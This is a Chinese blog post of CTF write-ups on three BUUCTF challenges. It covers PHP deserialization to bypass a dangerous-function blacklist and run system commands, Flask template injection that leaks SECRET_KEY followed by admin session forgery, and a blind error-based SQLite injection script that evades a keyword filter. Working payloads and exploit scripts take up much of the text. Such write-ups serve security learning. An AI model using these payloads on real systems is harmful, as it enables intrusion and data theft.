buuctf

    buu刷題記錄

 [網鼎杯 2020 朱雀組]phpweb

[FBCTF2019]Event

[HarekazeCTF2019]Sqlite Voting

 

 

 

 

    昨天請學弟們吃了頓飯,roar一直在摸(一直沒出),刷兩道buu水一下部落格吧。好久沒寫部落格了

  [網鼎杯 2020 朱雀組]phpweb

  打開介面是帶帶大師兄,每隔一段時間會自動刷新一次,並顯示出最新的時間。抓包後發現是post了兩個參數的值:func和p,【一個體重九十多公斤(不是)】應該是調用了call_user_func函數,嘗試去執行一些系統命令,發現會回顯hacker所以應該是被過濾了。但是我們可以用func=file_get_contents&p=index.php去讀取index.php的內容如下:

  

 1    <?php
 2     $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
 3     function gettime($func, $p) {
 4         $result = call_user_func($func, $p);
 5         $a= gettype($result);
 6         if ($a == "string") {
 7             return $result;
 8         } else {return "";}
 9     }
10     class Test {
11         var $p = "Y-m-d h:i:s a";
12         var $func = "date";
13         function __destruct() {
14             if ($this->func != "") {
15                 echo gettime($this->func, $this->p);
16             }
17         }
18     }
19     $func = $_REQUEST["func"];
20     $p = $_REQUEST["p"];
21 
22     if ($func != null) {
23         $func = strtolower($func);
24         if (!in_array($func,$disable_fun)) {
25             echo gettime($func, $p);
26         }else {
27             die("Hacker...");
28         }
29     }

   可以看到出題人使用黑名單過濾了一大堆危險函數,感覺已經是無路可走了。。。實際上可以使用構造反序列化的手段,使func=unserialize&p=payload,下面貼出生成payload的exp:

 

 1 <?php
 2 
 3 $disable_fun = array("exec", "shell_exec", "system", "passthru", "proc_open", "show_source", "phpinfo", "popen", "dl", "eval", "proc_terminate", "touch", "escapeshellcmd", "escapeshellarg", "assert", "substr_replace", "call_user_func_array", "call_user_func", "array_filter", "array_walk", "array_map", "registregister_shutdown_function", "register_tick_function", "filter_var", "filter_var_array", "uasort", "uksort", "array_reduce", "array_walk", "array_walk_recursive", "pcntl_exec", "fopen", "fwrite", "file_put_contents");
 4 function gettime($func, $p)
 5 {
 6     $result = call_user_func($func, $p);
 7     $a = gettype($result);
 8     if ($a == "string") {
 9         return $result;
10     } else {
11         return "";
12     }
13 }
14 
15 class Test
16 {
17     var $p = "Y-m-d h:i:s a";
18     var $func = "date";
19 
20     function __destruct()
21     {
22         if ($this->func != "") {
23             echo gettime($this->func, $this->p);
24         }
25     }
26 }
27 
28 /*$func = $_REQUEST["func"];
29 $p = $_REQUEST["p"];
30 
31 if ($func != null) {
32     $func = strtolower($func);
33     if (!in_array($func, $disable_fun)) {
34         echo gettime($func, $p);
35     } else {
36         die("Hacker...");
37     }
38 }*/
39 $a = new Test();
40 /*$a ->p = 'ls';*/
41 /*$a -> p = 'ls /';*/
42 $a->p ="find / -name 'flag*'";
43 $a ->func = 'system';
44 print_r(urlencode(serialize($a)));
45 
46 
47 ?>

func=unserialize&p=O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A22%3A%22cat+%2Ftmp%2Fflagoefiu4r93%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D

flag{89e676b6-cf76-4184-9f0d-12f5b9682804}

gg

 

 

 

[FBCTF2019]Event

一番探查看出來存在ssti,post傳值的過程中:

event_name=2333&event_address=123&event_important=__class__(或者用__dict__)存在回顯,於是我們能確定存在ssti

event_name=2333&event_address=123&event_important=__class__.__init__.__globals__

event_important處存在ssti,於是我們查看配置資訊:(此題模板是flask)

event_name=2333&event_address=123&event_important=__class__.__init__.__globals__[app].config

得到重要資訊:'SECRET_KEY': 'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y'

拿到secretkey之後進行偽造,將用戶名改成admin就行了、flask原理:json->zlib->base64後的源字元串 . 時間戳 . hmac簽名資訊

 

貼腳本:

 1 from flask import Flask
 2 from flask.sessions import SecureCookieSessionInterface
 3 
 4 app = Flask(__name__)
 5 app.secret_key = b'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y'
 6 
 7 session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)
 8 
 9 @app.route('/')
10 def index():
11     print(session_serializer.dumps("admin"))
12 
13 index()

flag{63a5dfbd-241a-4a52-bbbe-7fc46c058dae}

 

 

[HarekazeCTF2019]Sqlite Voting

這個題的出題人有點可怕。。。。

打開是一個選擇你喜歡的小動物的介面:

下面有兩個鏈接,第一個給出的源碼如下:

 1  <?php
 2 error_reporting(0);
 3 
 4 if (isset($_GET['source'])) {
 5   show_source(__FILE__);
 6   exit();
 7 }
 8 
 9 function is_valid($str) {
10   $banword = [
11     // dangerous chars
12     // " % ' * + / < = > \ _ ` ~ -
13     "[\"%'*+\\/<=>\\\\_`~-]",
14     // whitespace chars
15     '\s',
16     // dangerous functions
17     'blob', 'load_extension', 'char', 'unicode',
18     '(in|sub)str', '[lr]trim', 'like', 'glob', 'match', 'regexp',
19     'in', 'limit', 'order', 'union', 'join'
20   ];
21   $regexp = '/' . implode('|', $banword) . '/i';
22   if (preg_match($regexp, $str)) {
23     return false;
24   }
25   return true;
26 }
27 
28 header("Content-Type: text/json; charset=utf-8");
29 
30 // check user input
31 if (!isset($_POST['id']) || empty($_POST['id'])) {
32   die(json_encode(['error' => 'You must specify vote id']));
33 }
34 $id = $_POST['id'];
35 if (!is_valid($id)) {
36   die(json_encode(['error' => 'Vote id contains dangerous chars']));
37 }
38 
39 // update database
40 $pdo = new PDO('sqlite:../db/vote.db');
41 $res = $pdo->query("UPDATE vote SET count = count + 1 WHERE id = ${id}");
42 if ($res === false) {
43   die(json_encode(['error' => 'An error occurred while updating database']));
44 }
45 
46 // succeeded!
47 echo json_encode([
48   'message' => 'Thank you for your vote! The result will be published after the CTF finished.'
49 ]); 

另一個鏈接提供了sql程式碼:

 1 DROP TABLE IF EXISTS `vote`;
 2 CREATE TABLE `vote` (
 3   `id` INTEGER PRIMARY KEY AUTOINCREMENT,
 4   `name` TEXT NOT NULL,
 5   `count` INTEGER
 6 );
 7 INSERT INTO `vote` (`name`, `count`) VALUES
 8   ('dog', 0),
 9   ('cat', 0),
10   ('zebra', 0),
11   ('koala', 0);
12 
13 DROP TABLE IF EXISTS `flag`;
14 CREATE TABLE `flag` (
15   `flag` TEXT NOT NULL
16 );
17 INSERT INTO `flag` VALUES ('HarekazeCTF{<redacted>}');

  在vote.php介面中我們可以上傳id參數,從題目我們可以看出後台的資料庫是sqlite,可以嘗試進行sqli注入。sqlite與一般注入沒什麼不同的地方,只要用到隱藏表格就行。

但是我們在vote.php介面看到的程式碼裡面有黑名單,過濾了" % ' * + / < = > \ _ ` ~ -這些字元(不得不說老外的題目還寫在注釋里真的很貼心了)以及'blob', 'load_extension', 'char', 'unicode', 18 '(in|sub)str', '[lr]trim', 'like', 'glob', 'match', 'regexp', 19 'in', 'limit', 'order', 'union', 'join' 這些危險字元

根據回顯我們應該可以進行bool盲注,但是 ', ", char被過濾了之後我們無法直接進行字元判斷或者ascii🐎判斷。這個時候我已經裂開了

  看了作者給的exp,整個人都裂開了,刷新了我的三觀。

  首先我們進行報錯語句的構造:在sqlite中,abs(-9223372036854775808)會造成溢出並且報錯,這裡我們用hex去讀取庫裡面的欄位。

先考慮對 flag 16 進位長度的判斷,假設它的長度為 x,y 表示 2 的 n 次方,那麼 x&y 就能表現出 x 二進位為 1 的位置,將這些 y 再進行或運算就可以得到完整的 x 的二進位,也就得到了 flag 的長度,而 1<<n 恰可以表示 2 的 n 次方

  (&是按位與運算符:參與運算的兩個值,如果兩個相應位都為1,則該位的結果為1,否則為0;|按位或運算符:只要對應的二個二進位有一個為1時,結果位就為1。)

  判斷長度的 payload : abs(case(length(hex((select(flag)from(flag))))&{1<<n})when(0)then(0)else(0x8000000000000000)end)

  因為空格被過濾了,所以我們用括弧給括起來繞過空格。case()when()then()else()進行判斷。如果前面判斷為真則出現系統的錯誤,如果為假則觸發else,出現abs溢出的報錯。

  正經exp:

import requests

  url = "//1aa0d946-f0a0-4c60-a26a-b5ba799227b6.node2.buuoj.cn.wetolink.com:82/vote.php"
  l = 0
  for n in range(16):
    payload = f'abs(case(length(hex((select(flag)from(flag))))&{1<<n})when(0)then(0)else(0x8000000000000000)end)'
    data = {
        'id' : payload
    }

    r = requests.post(url=url, data=data)
    print(r.text)
    if 'occurred' in r.text:
        l = l|1<<n

  print(l)

  我們獲得了flag字元串16進位的長度為84,接下來要開始獲取內容

  但是想使用hex我們還需要構造ABCDE這五個字元,因為在資料庫中有之前給的一些小動物名的英文,利用如下語句分別構造出 ABCDEF ,這樣十六進位的所有字元都可以使用了,並且使用 trim(0,0) 來表示空字元

# hex(b'zebra') = 7A65627261
  # 除去 12567 就是 A ,其餘同理
  A = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'

  C = 'trim(hex(typeof(.1)),12567)'

  D = 'trim(hex(0xffffffffffffffff),123)'

  E = 'trim(hex(0.1),1230)'

  F = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'

  # hex(b'koala') = 6B6F616C61
  # 除去 16CF 就是 B
  B = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{C}||{F})'

  (我已經給出題人的思想跪了),然後逐字元進行爆破,已經知道 flag 格式為 flag{} ,hex(b'flag{')==666C61677B ,在其後面逐位添加十六進位字元,構成 paylaod再利用 replace(length(replace(flag,payload,''))),84,'') 這個語句進行判斷。如果 flag 不包含 payload ,那麼得到的 length 必為 84 ,最外面的 replace 將返回 false ,通過 case when then else 構造 abs 參數為 0 ,它不報錯;如果 flag 包含 payload ,那麼 replace(flag, payload, '') 將 flag 中的 payload 替換為空,得到的 length 必不為 84 ,最外面的 replace 將返回 true ,通過 case when then else 構造 abs 參數為 0x8000000000000000 令其報錯以上就可以根據報錯爆破出 flag,最後附上出題人腳本。

 1 # coding: utf-8
 2 import binascii
 3 import requests
 4 URL = '//1aa0d946-f0a0-4c60-a26a-b5ba799227b6.node2.buuoj.cn.wetolink.com:82/vote.php'
 5 
 6 
 7 l = 0
 8 i = 0
 9 for j in range(16):
10   r = requests.post(URL, data={
11     'id': f'abs(case(length(hex((select(flag)from(flag))))&{1<<j})when(0)then(0)else(0x8000000000000000)end)'
12   })
13   if b'An error occurred' in r.content:
14     l |= 1 << j
15 print('[+] length:', l)
16 
17 
18 table = {}
19 table['A'] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'
20 table['C'] = 'trim(hex(typeof(.1)),12567)'
21 table['D'] = 'trim(hex(0xffffffffffffffff),123)'
22 table['E'] = 'trim(hex(0.1),1230)'
23 table['F'] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'
24 table['B'] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C"]}||{table["F"]})'
25 
26 
27 res = binascii.hexlify(b'flag{').decode().upper()
28 for i in range(len(res), l):
29   for x in '0123456789ABCDEF':
30     t = '||'.join(c if c in '0123456789' else table[c] for c in res + x)
31     r = requests.post(URL, data={
32       'id': f'abs(case(replace(length(replace(hex((select(flag)from(flag))),{t},trim(0,0))),{l},trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)'
33     })
34     if b'An error occurred' in r.content:
35       res += x
36       break
37   print(f'[+] flag ({i}/{l}): {res}')
38   i += 1
39 print('[+] flag:', binascii.unhexlify(res).decode())

flag{05812dea-073b-4e98-b6eb-6e9dee3ae432}

參考://xz.aliyun.com/t/6628